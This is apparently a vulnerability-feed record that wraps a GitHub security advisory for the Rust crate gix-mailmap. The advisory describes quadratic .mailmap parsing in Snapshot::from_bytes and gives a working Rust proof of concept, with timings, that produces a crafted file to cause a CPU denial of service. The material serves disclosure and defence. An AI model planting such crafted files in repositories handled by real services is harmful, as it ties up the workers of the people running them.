{"schema":"threatline.record/2","record":{"id":"GHSA-pmpw-wwcm-r8rc","aliases":["GHSA-pmpw-wwcm-r8rc"],"summary":"Quadratic .mailmap parsing in Snapshot::from_bytes allows a CPU denial of service","details":"## Summary\r\n\r\nBuilding a `Snapshot` from a `.mailmap` file is quadratic in the number of entries. `Snapshot::from_bytes` parses each line and inserts it into a `Vec` that is kept sorted, using `binary_search_by` to find the position and then `Vec::insert` to place it. The search is fast but the insert shifts every following element, so a file whose keys are ordered to always land at the front costs O(n²) element moves overall.\r\n\r\nA `.mailmap` lives at the root of a repository and its contents are set by whoever authored the repo. Any tool that resolves author identities through gitoxide (log, blame, shortlog) loads it, so a crafted file turns a normal operation on an untrusted repository into a long CPU burn on a single core.\r\n\r\n## Proof of concept\r\n\r\n```rust\r\n// Cargo.toml:  gix-mailmap = \"=0.34.1\"\r\nuse std::time::Instant;\r\n\r\nfn main() {\r\n    let n = 100_000;\r\n    // One mapping per line, counting down so each new email sorts\r\n    // before every entry already stored, forcing an insert at index 0.\r\n    let mut mailmap = String::new();\r\n    for i in (0..n).rev() {\r\n        mailmap.push_str(&format!(\"Name <e{i:09}@x>\\n\"));\r\n    }\r\n    let start = Instant::now();\r\n    let snapshot = gix_mailmap::Snapshot::from_bytes(mailmap.as_bytes());\r\n    println!(\"{} entries in {:?}\", snapshot.iter().count(), start.elapsed());\r\n}\r\n```\r\n\r\nMeasured on release builds against the published crate:\r\n\r\n```\r\nn =  20000  (0.4 MB)   1.1 s\r\nn =  50000  (1.0 MB)   7.1 s\r\nn = 100000  (2.0 MB)  30.0 s\r\n```\r\n\r\nThe same entries in ascending order (each appended at the end, no shift) parse in 0.12 s at n = 100000, which isolates the cost to the insert rather than the parse. Doubling n quadruples the time.\r\n\r\n## Impact\r\n\r\nOne crafted `.mailmap` of a few megabytes pins a core for tens of seconds; because the cost is quadratic, ~10 MB reaches the order of ten minutes. The memory stays linear, so this is CPU only. It matters most where gitoxide processes repositories it did not author, for example a hosting or analysis service that runs blame or shortlog on user-supplied repos, where one repository blocks a worker. For an interactive CLI the effect is a recoverable hang.\r\n\r\ngit's own C mailmap loader collects the entries and sorts once, so this scaling is specific to gitoxide.\r\n","categories":["Unclassified"],"product":"gix-mailmap","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-pmpw-wwcm-r8rc","source_modified_at":"2026-09-25T08:31:05Z","fetched_at":"2026-10-23T20:37:03.234832Z","package":{"ecosystem":"rust","name":"gix-mailmap"},"range":"<= 0.34.1"}],"fixed_versions":[],"cvss":null,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-25T08:31:05Z","modified_at":"2026-09-25T08:31:05Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-pmpw-wwcm-r8rc","fetched_at":"2026-10-23T20:37:03.234832Z","source_modified_at":"2026-09-25T08:31:05Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-25T08:31:05Z","content_hash":"92d07f011be662dec6c6b07fd83faf6726ce0c99270c05dcb2975a0ecd74b312"}}
